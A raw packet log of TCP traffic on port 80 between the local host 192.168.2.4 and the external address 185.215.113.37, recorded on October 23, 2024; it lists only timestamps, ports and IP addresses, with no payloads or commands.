Oct 23, 2024 15:48:19.088114023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088114023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088150024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088161945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088196039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088202000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088238001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088249922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088272095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088280916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088308096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088318110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088354111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088360071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088397980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088407040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088443995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088450909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088486910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088499069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088521004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088532925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088556051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088567019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088589907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088602066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088624954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088639975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088654041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088681936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088685989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088706017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088731050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088738918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088773012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088787079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088808060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088839054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088840961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088871956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088891029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088906050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088924885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088937044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088959932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.088970900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.088994026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089005947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089030981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089046001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089065075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089076996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089099884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089109898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089133024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089144945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089168072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089188099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089200974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089211941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089235067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089261055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089267015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089297056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089303017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089318037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089335918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089349985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089370966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089385033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089406013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089420080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089441061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089457989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089476109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089500904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089512110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089520931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089545965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089555025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089581013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089591026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089615107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089633942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089658976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089660883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089694977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089711905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089730024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089745998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089759111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089781046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089792013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089803934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089827061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089842081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089863062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089874983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089896917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089910030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089931011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089942932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.089966059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.089976072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090001106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090018034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090035915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090045929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090070009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090084076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090104103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090118885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090138912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090151072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090173960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090184927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090207100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090221882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090243101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090253115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090276957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090287924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090312958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090332985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090346098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090363979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090379953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.090389013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.090432882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.203255892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.203392982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.244936943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.244956017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.244966984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245009899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245021105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245019913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245019913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245079994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245090961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245105982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245107889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245121956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245132923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245135069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245157003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245191097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245421886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245433092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245444059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245493889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245493889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245507002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245517969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245528936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245538950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245552063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245568037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245585918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245604038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245610952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245615005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245630980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245665073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245665073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245671034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245682001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245692968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245712996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245721102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245832920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245837927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245846987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245851994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.245928049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.245991945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246004105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246017933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246068954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246068954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246098995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246109962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246119976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246129990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246162891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246187925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246213913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246248007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246258974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246269941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246279001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246295929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246370077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246381044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246395111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246396065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246407986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246418953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246428967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246432066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246481895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246481895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246519089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246530056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246539116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246550083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246560097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246566057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246570110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246618032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246634007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246644020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246644020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246731043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246741056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246748924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246757984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246762037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246773005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246798992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246799946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246799946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246809959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246823072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246850014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246860027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246870041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246876001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246890068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246926069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246927977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.246937037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246951103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246978998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246988058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.246994019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247001886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247064114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247064114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247092962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247103930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247112989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247124910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247134924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247138977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247144938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247158051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247169018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247172117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247189045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247241020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247251987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247261047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247272015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247273922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247283936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247283936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247297049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247324944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247335911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247369051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247373104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247373104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247381926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247421980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247433901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247442961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247446060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247457981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247483969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247550964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247562885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247572899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247581005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247585058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247597933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247608900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247613907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247621059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247631073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.247636080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247647047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247721910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.247941971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248004913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248014927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248032093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248116016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248126984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248136044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248146057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248147011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248174906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248230934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248241901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248253107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248264074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248272896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248285055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248286963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248298883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248310089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248313904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248318911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248385906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248385906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248723984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248734951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248744965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248756886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248766899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248776913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248788118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248801947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248820066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248831034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248841047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248841047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248841047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248852968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248878956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.248941898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248951912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248961926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248966932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248974085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.248982906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.249028921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.249037027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:19.249041080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.249053001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.249125004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:19.249136925 CEST	80	49730	185.215.113.37	192.168.2.4
